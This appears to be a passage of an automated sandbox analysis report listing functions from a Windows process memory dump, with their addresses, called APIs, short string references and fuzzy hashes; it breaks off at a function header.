Opcode Fuzzy Hash: f1bd5ec851a7052176b411fac25a723eb5fe33a0ba64345d7ab70d8012cf659e
Instruction Fuzzy Hash: B0514222A0CBC186E7119B69BC4436BFB95FB99798F844028EACD47B55EF7DD0488F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E10B0, Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E1156

Strings

:, xrefs: 00007FF70D6E1110
", xrefs: 00007FF70D6E10F4
,, xrefs: 00007FF70D6E10E8
!, xrefs: 00007FF70D6E10FC
#, xrefs: 00007FF70D6E10E4
;, xrefs: 00007FF70D6E1118
$, xrefs: 00007FF70D6E10EC
;, xrefs: 00007FF70D6E1114
0, xrefs: 00007FF70D6E1108
!, xrefs: 00007FF70D6E10CE
(, xrefs: 00007FF70D6E10E0
=, xrefs: 00007FF70D6E1100
1, xrefs: 00007FF70D6E10D5
&, xrefs: 00007FF70D6E110C
+, xrefs: 00007FF70D6E10F8
=, xrefs: 00007FF70D6E1104
V, xrefs: 00007FF70D6E111C

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: !$!$"$#$$$&$($+$,$0$1$:$;$;$=$=$V
API String ID: 190572456-3304864442
Opcode ID: e8f8f77b8966c450c79573908a1dc6f724378840e4dda449bca8827af568d2c1
Instruction ID: 24c166bc73bb1de027323f1be50b5ec7fdcde4da90b32f33712ada5fbe2d1d0c
Opcode Fuzzy Hash: e8f8f77b8966c450c79573908a1dc6f724378840e4dda449bca8827af568d2c1
Instruction Fuzzy Hash: 05211222A087D08DF702C7B9E4083AD3FA5A76678CF485495DF8427B8AC7A98209C765

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC1D0, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 125memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FC22B
HeapAlloc.KERNEL32 ref: 00007FF70D6FC239
GetProcAddress.KERNEL32 ref: 00007FF70D6FC2C5
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC2F4
HeapReAlloc.KERNEL32 ref: 00007FF70D6FC305
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC337
HeapFree.KERNEL32 ref: 00007FF70D6FC345
GetProcessHeap.KERNEL32 ref: 00007FF70D6FC37E
HeapFree.KERNEL32 ref: 00007FF70D6FC38C

Strings

}, xrefs: 00007FF70D6FC279
t, xrefs: 00007FF70D6FC27E
x, xrefs: 00007FF70D6FC274
W, xrefs: 00007FF70D6FC26F
t, xrefs: 00007FF70D6FC260
C, xrefs: 00007FF70D6FC258
p, xrefs: 00007FF70D6FC265
u, xrefs: 00007FF70D6FC26A

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AllocFree$AddressProc
String ID: C$W$p$t$t$u$x$}
API String ID: 2694321604-3228699299
Opcode ID: cab41e063329a7eada02b1cb9f68386697c374d7244ace967a313b4608461257
Instruction ID: 39b5577b809e758181193665cd36c6e53d98a0aca7a55c5544a5c7d898cb54d3
Opcode Fuzzy Hash: cab41e063329a7eada02b1cb9f68386697c374d7244ace967a313b4608461257
Instruction Fuzzy Hash: 93517126A1CB8585E640EB1AF8442AAFB91FF89BC4F841135EE8E43755EF7DE0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F7960, Relevance: 29.8, APIs: 1, Strings: 16, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7A18

Strings

P, xrefs: 00007FF70D6F79CD
[, xrefs: 00007FF70D6F79D7
Y, xrefs: 00007FF70D6F79AA
S, xrefs: 00007FF70D6F79C3
i, xrefs: 00007FF70D6F79AF
Z, xrefs: 00007FF70D6F79D2
j, xrefs: 00007FF70D6F798E
J, xrefs: 00007FF70D6F79B4
], xrefs: 00007FF70D6F79C8
X, xrefs: 00007FF70D6F799B
^, xrefs: 00007FF70D6F79B9
c, xrefs: 00007FF70D6F79BE
7, xrefs: 00007FF70D6F79DC
R, xrefs: 00007FF70D6F79A0
\, xrefs: 00007FF70D6F79A5
j, xrefs: 00007FF70D6F7996

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: 7$J$P$R$S$X$Y$Z$[$\$]$^$c$i$j$j
API String ID: 190572456-2484924283
Opcode ID: bc77b9269c3ac819b5208da46fd6566e03531b7052148f091945f5844cd573f8
Instruction ID: 39f92ec1ec31b3455aac36d7b04565b4179797fce6e9358fb44c3ab7cf4c0fd8
Opcode Fuzzy Hash: bc77b9269c3ac819b5208da46fd6566e03531b7052148f091945f5844cd573f8
Instruction Fuzzy Hash: 7831E52260C7C089E3319725E41425BBF92EB9A74CF484229E6DD07A8ADF7DD208CF25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3630, Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6F03D0: GetProcAddress.KERNEL32 ref: 00007FF70D6F04F2

StrDupA.SHLWAPI ref: 00007FF70D6E3663

Part of subcall function 00007FF70D6F0240: StrStrA.SHLWAPI ref: 00007FF70D6F0274
Part of subcall function 00007FF70D6F0240: lstrlenA.KERNEL32 ref: 00007FF70D6F0282
Part of subcall function 00007FF70D6F0240: lstrcpynA.KERNEL32 ref: 00007FF70D6F02A2
Part of subcall function 00007FF70D6F0240: lstrcmpA.KERNEL32 ref: 00007FF70D6F02F9

Part of subcall function 00007FF70D6E5410: wsprintfA.USER32 ref: 00007FF70D6E54A4

lstrlenA.KERNEL32 ref: 00007FF70D6E3693
lstrlenA.KERNEL32 ref: 00007FF70D6E36A8
GetProcessHeap.KERNEL32 ref: 00007FF70D6E36B7
HeapAlloc.KERNEL32 ref: 00007FF70D6E36C5
wsprintfA.USER32 ref: 00007FF70D6E3734
lstrcatA.KERNEL32 ref: 00007FF70D6E3771
lstrcatA.KERNEL32 ref: 00007FF70D6E377D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E3792
HeapFree.KERNEL32 ref: 00007FF70D6E37A0
GetProcessHeap.KERNEL32 ref: 00007FF70D6E37CD
HeapFree.KERNEL32 ref: 00007FF70D6E37DC

Strings

,, xrefs: 00007FF70D6E36D7
^, xrefs: 00007FF70D6E36F4
Z, xrefs: 00007FF70D6E36F9
3, xrefs: 00007FF70D6E373F

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$Freelstrcatwsprintf$AddressAllocProclstrcmplstrcpyn
String ID: ,$3$Z$^
API String ID: 2411769248-3700230074
Opcode ID: 0c88ab804245177c444956e4523e461f9fec09ac98aa434a8d887a9aab3c6f1b
Instruction ID: 2b47f53b4e2f178c645945fe8de1a8de9ca526dd5918d3a2a10dd31c25d42cc0
Opcode Fuzzy Hash: 0c88ab804245177c444956e4523e461f9fec09ac98aa434a8d887a9aab3c6f1b
Instruction Fuzzy Hash: 4551D866A0C78286DB24EB26B80416AFB91FF8AB89F844234DECD07755EF7CD105C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1A00, Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 285libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E1EB0

Strings

y, xrefs: 00007FF70D6E1DFC
d, xrefs: 00007FF70D6E1E29
w, xrefs: 00007FF70D6E1E06
H, xrefs: 00007FF70D6E1B02
{, xrefs: 00007FF70D6E1DF2
u, xrefs: 00007FF70D6E1DEA
j, xrefs: 00007FF70D6E1E24
+, xrefs: 00007FF70D6E1E1A
j, xrefs: 00007FF70D6E1E0B
=, xrefs: 00007FF70D6E1E2E
+, xrefs: 00007FF70D6E1DF7
A, xrefs: 00007FF70D6E1E1F
h, xrefs: 00007FF70D6E1E10
!, xrefs: 00007FF70D6E1E01

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: !$+$+$=$A$H$d$h$j$j$u$w$y${
API String ID: 190572456-1599130409
Opcode ID: 3c7089f7a46ab42fd314f7f0d7400125cd247cd54d306b20d225eab0c782b5ea
Instruction ID: 0bb09c9205f10e3c778a3af28f6c67118ea590a39fac279461b8bcb32d1a891c
Opcode Fuzzy Hash: 3c7089f7a46ab42fd314f7f0d7400125cd247cd54d306b20d225eab0c782b5ea
Instruction Fuzzy Hash: D0D183526183C089E3109BA4E4003AEB771FF59348F50612AFA8DDBBA9EB3DC545CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E7040, Relevance: 22.7, APIs: 7, Strings: 8, Instructions: 157memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

lstrlenA.KERNEL32 ref: 00007FF70D6E70BA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E70C7
HeapAlloc.KERNEL32 ref: 00007FF70D6E70D5
lstrcpyA.KERNEL32 ref: 00007FF70D6E70EC
lstrcmpiA.KERNEL32 ref: 00007FF70D6E718F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7283
HeapFree.KERNEL32 ref: 00007FF70D6E7291

Strings

;, xrefs: 00007FF70D6E71D6
], xrefs: 00007FF70D6E71F4
;, xrefs: 00007FF70D6E71CE
P, xrefs: 00007FF70D6E7145
q, xrefs: 00007FF70D6E7203
,, xrefs: 00007FF70D6E71FE
], xrefs: 00007FF70D6E71F9
P, xrefs: 00007FF70D6E71A1

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProclstrcmpilstrcpylstrlen
String ID: ,$;$;$P$P$]$]$q
API String ID: 817131848-2508854038
Opcode ID: b96e21c76b4888e5aa6245d9ab39867dd5da5f43c83506343e3504df4413daae
Instruction ID: ae837191ea6e609307c22f3d5555b5a6a4ca1bd4da535589615c74881ef53264
Opcode Fuzzy Hash: b96e21c76b4888e5aa6245d9ab39867dd5da5f43c83506343e3504df4413daae
Instruction Fuzzy Hash: D971742290CBC189E711D765B8043AFFBA1EB96788F540165EEC807B9AEF7DD148DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702650, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D702679
StrStrA.SHLWAPI ref: 00007FF70D7026BB
StrStrA.SHLWAPI ref: 00007FF70D7026DF
lstrlenA.KERNEL32 ref: 00007FF70D7026ED
StrStrA.SHLWAPI ref: 00007FF70D70270E
lstrlenA.KERNEL32 ref: 00007FF70D70271C
lstrcpynA.KERNEL32 ref: 00007FF70D70274E
StrToIntExA.SHLWAPI ref: 00007FF70D702765
lstrlenA.KERNEL32 ref: 00007FF70D702782
lstrcpyA.KERNEL32 ref: 00007FF70D702798

Strings

http, xrefs: 00007FF70D70266F

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$lstrcpylstrcpyn
String ID: http
API String ID: 3250660272-2541227442
Opcode ID: f1b2f41ef82294f240051bce975c66e6099e2c470b1a80d22343df993e08e479
Instruction ID: cb1ad05e8d6d4ca690cf6f5a4e9da0bbfb125ceeec0138ddcc11c2e847cb380a
Opcode Fuzzy Hash: f1b2f41ef82294f240051bce975c66e6099e2c470b1a80d22343df993e08e479
Instruction Fuzzy Hash: C6419566B0C74281EA21AF25EC58278E7A1AF4DB84FC87131D64E467D5FF3CE508C624

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC6B0, Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FC764

Strings

l, xrefs: 00007FF70D6FC716
`, xrefs: 00007FF70D6FC70C
u, xrefs: 00007FF70D6FC71B
U, xrefs: 00007FF70D6FC711
d, xrefs: 00007FF70D6FC702
w, xrefs: 00007FF70D6FC6F8
F, xrefs: 00007FF70D6FC6F0
q, xrefs: 00007FF70D6FC707
`, xrefs: 00007FF70D6FC720
`, xrefs: 00007FF70D6FC6FD

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: F$U$`$`$`$d$l$q$u$w
API String ID: 190572456-2652657879
Opcode ID: 8f900b1c62f43b16517a0f3f2cb201542af3c2a76b36e713b2a71f2b225b1efa
Instruction ID: fcddec465fb33248c8b863093fad3f50be152fe9ae37a1252d6ddea28fe4dd26
Opcode Fuzzy Hash: 8f900b1c62f43b16517a0f3f2cb201542af3c2a76b36e713b2a71f2b225b1efa
Instruction Fuzzy Hash: D1213D2250C7C085E7219B25F45436BBFA2E79EB88F481268EBCD07B5ADF7DC1048B25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F10E0, Relevance: 18.1, APIs: 10, Strings: 2, Instructions: 112memorystringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI ref: 00007FF70D6F10F6
StrPBrkA.SHLWAPI ref: 00007FF70D6F114C
StrSpnA.SHLWAPI ref: 00007FF70D6F119C
StrPBrkA.SHLWAPI ref: 00007FF70D6F11DC
lstrlenA.KERNEL32 ref: 00007FF70D6F11F1
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1201
HeapAlloc.KERNEL32 ref: 00007FF70D6F1210
lstrcpynA.KERNEL32 ref: 00007FF70D6F1228
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1250
HeapFree.KERNEL32 ref: 00007FF70D6F125E

Strings

E, xrefs: 00007FF70D6F1117
#, xrefs: 00007FF70D6F1164

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AllocFreelstrcpynlstrlen
String ID: #$E
API String ID: 3427162041-840201490
Opcode ID: cfb7a61fa14b7971f6cd18e4154d3af183d5de8ed336e3093085427ab4368f43
Instruction ID: 54d1e152a630d3b76c7df588be3165a13e45b61db59643ba3da9eb440ee4c4f6
Opcode Fuzzy Hash: cfb7a61fa14b7971f6cd18e4154d3af183d5de8ed336e3093085427ab4368f43
Instruction Fuzzy Hash: 4741C82690DBC581DB01D75AB91417AEBA2EF8ABC4F840174EECD07B59EF6CD105CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702B00, Relevance: 18.1, APIs: 12, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF70D702B3D
GetProcessHeap.KERNEL32 ref: 00007FF70D702B4C
HeapAlloc.KERNEL32 ref: 00007FF70D702B5A
MultiByteToWideChar.KERNEL32 ref: 00007FF70D702B7D
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702BA6
GetProcessHeap.KERNEL32 ref: 00007FF70D702BAF
HeapAlloc.KERNEL32 ref: 00007FF70D702BBD
GetProcessHeap.KERNEL32 ref: 00007FF70D702BCB
HeapFree.KERNEL32 ref: 00007FF70D702BD9
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702C04
GetProcessHeap.KERNEL32 ref: 00007FF70D702C0C
HeapFree.KERNEL32 ref: 00007FF70D702C1A

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$ByteCharMultiProcessWide$AllocFree
String ID:
API String ID: 1621643742-0
Opcode ID: 2ba6fb4e9c0095114c3a05b0740c60b64e6d4d1dd03dc9b1faaa63056d23ea58
Instruction ID: db5b40ba446a2be4c9c2a3b584675c5a1b9a78ccc4efc1c61f5de1103b7cf189
Opcode Fuzzy Hash: 2ba6fb4e9c0095114c3a05b0740c60b64e6d4d1dd03dc9b1faaa63056d23ea58
Instruction Fuzzy Hash: 14314E79A08B4286E714EB67BD0412ABAA5FF8CBD8F445134DE8D53B24FF3CD1558604

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FCF70, Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FD0B6

Strings

n, xrefs: 00007FF70D6FD069
H, xrefs: 00007FF70D6FD05F
t, xrefs: 00007FF70D6FD048
g, xrefs: 00007FF70D6FD05A
Y, xrefs: 00007FF70D6FD040
k, xrefs: 00007FF70D6FD050
v, xrefs: 00007FF70D6FD055
g, xrefs: 00007FF70D6FD06E
k, xrefs: 00007FF70D6FD064

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: H$Y$g$g$k$k$n$t$v
API String ID: 190572456-1859706031
Opcode ID: 72872cc1e3507c631862ddea3313868b791bc504ac41041958baa0b3cc440f57
Instruction ID: c9edfdfc9dd00c19984d66474f828b31cfdb3f61954c362ea2af96afe18fe305
Opcode Fuzzy Hash: 72872cc1e3507c631862ddea3313868b791bc504ac41041958baa0b3cc440f57
Instruction Fuzzy Hash: EC51742290CB8195D720AB25B9402AFBBA5FF857C4F541135EF8807B95DF3DE0648B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3800, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EEA40: GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25

wsprintfA.USER32 ref: 00007FF70D6E39C5

Strings

_, xrefs: 00007FF70D6E3926
[, xrefs: 00007FF70D6E390D
W, xrefs: 00007FF70D6E3921
S, xrefs: 00007FF70D6E3912
U, xrefs: 00007FF70D6E38EF
[, xrefs: 00007FF70D6E393A
_, xrefs: 00007FF70D6E38F4
S, xrefs: 00007FF70D6E3935
W, xrefs: 00007FF70D6E38FE
^, xrefs: 00007FF70D6E38F9

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProcwsprintf
String ID: S$S$U$W$W$[$[$^$_$_
API String ID: 3553933441-1328133147
Opcode ID: a2f245c1de93587698fb98af88dc5b8964f4ee5fbf6873431c98d058a5b3391c
Instruction ID: 1a810b2dff54ddfefc3e2200799d2718582b892a99f9e31762c54a6c18bfc69c
Opcode Fuzzy Hash: a2f245c1de93587698fb98af88dc5b8964f4ee5fbf6873431c98d058a5b3391c
Instruction Fuzzy Hash: EF51AF2250C7C189D3219728A44435FBFA2E796358F980265F7E847BDADB6ED508CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6870, Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E6948
HeapFree.KERNEL32 ref: 00007FF70D6E6957
wsprintfA.USER32 ref: 00007FF70D6E68E3

Part of subcall function 00007FF70D6E8870: wsprintfA.USER32 ref: 00007FF70D6E88EF
Part of subcall function 00007FF70D6E8870: lstrlenA.KERNEL32 ref: 00007FF70D6E890B
Part of subcall function 00007FF70D6E8870: GetProcessHeap.KERNEL32 ref: 00007FF70D6E891A
Part of subcall function 00007FF70D6E8870: HeapAlloc.KERNEL32 ref: 00007FF70D6E8928

GetProcessHeap.KERNEL32 ref: 00007FF70D6E69EC
HeapFree.KERNEL32 ref: 00007FF70D6E69FB
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6A21
HeapFree.KERNEL32 ref: 00007FF70D6E6A2F

Strings

(, xrefs: 00007FF70D6E68A9
{, xrefs: 00007FF70D6E68AF

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$wsprintf$Alloclstrlen
String ID: (${
API String ID: 2506873331-4280321880
Opcode ID: 590fbe12c2f90ba7d9ba2fac9d8c31859e65831c9c14db462b11be70f788d6a2
Instruction ID: 83a737f49950cb324855025bfd364aca16b31015e3ef23041ed2012c182f198f
Opcode Fuzzy Hash: 590fbe12c2f90ba7d9ba2fac9d8c31859e65831c9c14db462b11be70f788d6a2
Instruction Fuzzy Hash: 39518022F18B2289E710DBA6EC401ADA7B5BF58BCCB844535EE4D67B58EF38D545C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6A60, Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E6AE5
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6B39
HeapFree.KERNEL32 ref: 00007FF70D6E6B47
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6BA2
HeapFree.KERNEL32 ref: 00007FF70D6E6BB0
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6BB6
HeapFree.KERNEL32 ref: 00007FF70D6E6BC4

Strings

*, xrefs: 00007FF70D6E6AA3
T, xrefs: 00007FF70D6E6A91

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$wsprintf
String ID: *$T
API String ID: 2268164792-1467313775
Opcode ID: 96c76f126b3522805ba92bfc673c2dcc8c391b543e67532628f0223db953076b
Instruction ID: d5f77f34de905ceb4ae477c7ff6a0d9f4fff3b628f95f8e3e80f74f32c85704c
Opcode Fuzzy Hash: 96c76f126b3522805ba92bfc673c2dcc8c391b543e67532628f0223db953076b
Instruction Fuzzy Hash: AC416622A0C78186E710DB66F8043AAFBA1FF89788F844135EB8D47B55EF7DD0098B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FB970, Relevance: 12.6, APIs: 10, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FB97D
HeapFree.KERNEL32 ref: 00007FF70D6FB98C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB992
HeapFree.KERNEL32 ref: 00007FF70D6FB9A1
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB9A7
HeapFree.KERNEL32 ref: 00007FF70D6FB9B6
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB9DA
HeapFree.KERNEL32 ref: 00007FF70D6FB9E9
GetProcessHeap.KERNEL32 ref: 00007FF70D6FBA28
HeapFree.KERNEL32 ref: 00007FF70D6FBA36

Part of subcall function 00007FF70D703320: GetProcAddress.KERNEL32 ref: 00007FF70D703403

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$AddressProc
String ID:
API String ID: 4068056616-0
Opcode ID: 41fa93c669523b6699f6cb230643bad169b8157f8b23dbf9fa5fd55b7a959a17
Instruction ID: ce5e1265a24b6927c222ec8bcdfcc081ce76b9fc90b929b09f6730d16f4240e1
Opcode Fuzzy Hash: 41fa93c669523b6699f6cb230643bad169b8157f8b23dbf9fa5fd55b7a959a17
Instruction Fuzzy Hash: 6021286AA0CB4281E744AF36ED453B8A265FF88F88FC56135D90D42399EF3C9449C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6EC0, Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D6E6EF9
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6F06
HeapAlloc.KERNEL32 ref: 00007FF70D6E6F14
lstrcpyA.KERNEL32 ref: 00007FF70D6E6F2A
lstrlenA.KERNEL32 ref: 00007FF70D6E6F5D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E7003
HeapFree.KERNEL32 ref: 00007FF70D6E7011

Strings

', xrefs: 00007FF70D6E6F67

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$AllocFreelstrcpy
String ID: '
API String ID: 559909528-1997036262
Opcode ID: f8048d5d2b864d9523825b6ddd98352e1ef67f564ccf27372c61718b2097ba43
Instruction ID: 64d7275e1a5275b7561511762ee471b2c2455c9b4a2d4d527852d8e1a67c3fee
Opcode Fuzzy Hash: f8048d5d2b864d9523825b6ddd98352e1ef67f564ccf27372c61718b2097ba43
Instruction Fuzzy Hash: 5D414D22A0CBC281E650DB56F84436AF7A6FF99BC4F944134EE8807B59EF7CD0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6730, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 78memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E6791
lstrlenA.KERNEL32 ref: 00007FF70D6E679C
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6804
HeapFree.KERNEL32 ref: 00007FF70D6E6814
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6832
HeapFree.KERNEL32 ref: 00007FF70D6E6842

Strings

6, xrefs: 00007FF70D6E6758
@, xrefs: 00007FF70D6E6750

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess$lstrlenwsprintf
String ID: 6$@
API String ID: 3236020971-1486086150
Opcode ID: 29f9326dde236c763b43c9f61302a0dc284b3c3aa0feb8a206e3bb2a88a15dde
Instruction ID: 295d341b95b910d1df982b195baaf6a81f4ae3edf9429bf26248e4c2a01fc13f
Opcode Fuzzy Hash: 29f9326dde236c763b43c9f61302a0dc284b3c3aa0feb8a206e3bb2a88a15dde
Instruction Fuzzy Hash: 0F31822261CB8281D740DB66F8441AAFBA4FB8D784F841135F68D43B69EF7CC009CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6AA0, Relevance: 10.7, APIs: 7, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF70D6F6B0A
GetProcAddress.KERNEL32 ref: 00007FF70D6F6B8F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6BFF
GetProcAddress.KERNEL32 ref: 00007FF70D6F6C6F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6CDF
GetProcAddress.KERNEL32 ref: 00007FF70D6F6D5F
GetProcAddress.KERNEL32 ref: 00007FF70D6F6DCF

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$HandleModule
String ID:
API String ID: 667068680-0
Opcode ID: ea510356069edbdf8e5c9ae15a29a733c74b0ea21727580b9cb04a174cb82dfe
Instruction ID: 1870b7cb652fc2f251b617cf43c48f2bdcac5728b9d63344d07e776ed61daeef
Opcode Fuzzy Hash: ea510356069edbdf8e5c9ae15a29a733c74b0ea21727580b9cb04a174cb82dfe
Instruction Fuzzy Hash: 05C1371260C7C0CCF712CB78D8183ED3FA1D72674CF4841A9D6881AB9ADBAE8259C775

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F2DC0, Relevance: 10.6, APIs: 7, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32 ref: 00007FF70D6F2E12

Part of subcall function 00007FF70D6F6490: GetProcAddress.KERNEL32 ref: 00007FF70D6F6515

K32EnumProcessModules.KERNEL32 ref: 00007FF70D6F2E8E
K32GetModuleBaseNameA.KERNEL32 ref: 00007FF70D6F2EB1
lstrlenA.KERNEL32 ref: 00007FF70D6F2EC8
GetProcessHeap.KERNEL32 ref: 00007FF70D6F2ED5
HeapAlloc.KERNEL32 ref: 00007FF70D6F2EE3
lstrcpyA.KERNEL32 ref: 00007FF70D6F2EFD

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: EnumHeapProcess$AddressAllocBaseModuleModulesNameProcProcesseslstrcpylstrlen
String ID:
API String ID: 1539476955-0
Opcode ID: 7f22b4e5ebcfdbea657a393054ee969f3f5d24fdf2f153fe4e5cd630b0425f47
Instruction ID: 8904b04385c997df5d3323e817b2bb859b370cf065454af5e83a8824ffba009a
Opcode Fuzzy Hash: 7f22b4e5ebcfdbea657a393054ee969f3f5d24fdf2f153fe4e5cd630b0425f47
Instruction Fuzzy Hash: 44415E36A1DB8282EB20DB15F8402EAA7A5FF497C4F805235EA8D43B58EF3CD145CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D707688, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMON

Download Yara Rule
